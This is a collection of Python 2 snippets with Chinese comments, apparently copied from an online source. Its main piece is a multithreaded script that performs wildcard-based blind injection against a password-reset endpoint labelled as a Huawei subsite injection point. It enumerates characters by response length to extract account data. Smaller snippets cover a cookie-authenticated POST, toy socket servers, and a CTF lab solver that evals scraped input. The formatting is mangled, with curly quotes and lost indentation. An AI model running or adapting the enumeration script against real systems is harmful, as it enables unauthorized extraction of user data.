#coding=utf8
import json
import threading,time
import gzip
import msgpack
import urllib
import urllib2
import tarfile

result = “”;
f = open(“data.txt”,”w”)
#MyThread.py线程类
class MyThread(threading.Thread):
def init(self, func, args=()):
super(MyThread, self).init()
self.func = func
self.args = args

def run(self):
time.sleep(2)
self.result = self.func(*self.args)

def get_result(self):
threading.Thread.join(self) # 等待线程执行完毕
try:
return self.result
except Exception:
return None

def request(surestr):#只发包
try:
url = “http://华为分站注入点/”
values = {“reason”:””,”coopAccount”:surestr, “activateType”:”p@sswordReset”}
#print “Test:”+surestr
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
res_data = urllib2.urlopen(req)
res = res_data.read()
if res_data.getcode() == 200:
return surestr+”|”+str(len(res))
except urllib2.HTTPError, err:
print(err.code)
print(err.read())
raise

def enum(surestr):#遍历发包,调整字符串
global result
enumchars = “qwertyuioplkjhgfdsazxcvbnm-_123456789.@()”
tp = []
if surestr == “*”:
surestr = “”
for chars in enumchars:
mt = MyThread(request, ((surestr+chars+”*”),))
#print “StartThread:request(“+surestr+chars+”*”+”)”
tp.append(mt)
mt.start()

flag = 0
for t in tp:
t.join()
retcode = t.get_result()
rc = retcode.split(‘|’)
if rc[1] != “53”:
print (“\rGot:”+rc[0]),
enum(rc[0].strip(‘*’))
flag = 1
else:
continue
if flag == 0:
print “\rComplete:”+surestr
result=result+surestr+”\n”

print enum(“*”)
f.write(result)
f.close()


import requests #发送request.post脚本
import os
header = {'Cookie': 'PHPSESSID=7700b4d1f9a37e43b5dd61c952eee149'}

url = 'http://xxx.com/xxx.php'
code = '123'
data = {'username': '13388886666', }
r = requests.post(url, data=data, headers=header, timeout=10)
response = r.content.decode('utf-8')
print response

import socket #小服务端脚本    

s=socket.socket() #socket方法有三个参数,都用默认即可

host=socket.gethostname() #在服务端这个方法就是获取自己的主机名
port=1234
s.bind((host,port))  #绑定host:port

s.listen(5)  #只能一个一个连,5表示队列最多5个
while True:
    c,addr=s.accept() #c和addr等于s当前接收的客户端
    print 'Got connection from', addr
    c.send('Thankyouforconnecting')
    c.close()

urlretrieve('http://www.python.org', 'C:\\python_webpage.html') #保存本地脚本
from urllib2 import urlopen #读取页面脚本
webpage = urlopen("http://www.siela.space") #webpage为打开的连接
text = webpage.read() 
#!/usr/bin/env python #分析返回页面数据 并自动计算和发送 脚本
# -*- coding: utf-8 -*- 
# 网上一位大哥的解法
# mathy.py 
# by 0h1in9e weibo@ohlinge
# time:2016/7/14

from requests import *
import re,time

url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
s = Session()

r = s.get(url)
l = re.findall(r'
\s+(.*?)=',r.content)[0]
print "需要计算的是 %s = %d\n" % (l,eval(l))

r = s.post(url, data={'v': eval(l)})

print "flag 就藏在下面哦:\n"
print re.findall(r'(.*?)',r.content)[0]
#一个小型服务器

from SocketServer import TCPServer, StreamRequestHandler #如果分叉在这里加上ForkingMinIn, 如果是线程替换为ThreadningMinIn
class Handler(StreamRequestHandler): def handle(self): #如果分叉在上一行和这一行中间加上 class Server(ForkingMinIn, TCPServer):pass
        addr = self.request.getpeername() 
        print 'Got connection from ', addr
        self.wfile.write('Thank you for connecting')

server = TCPServer(('', 1234), Handler) #''表示的是服务器机器名
server.serve_forever()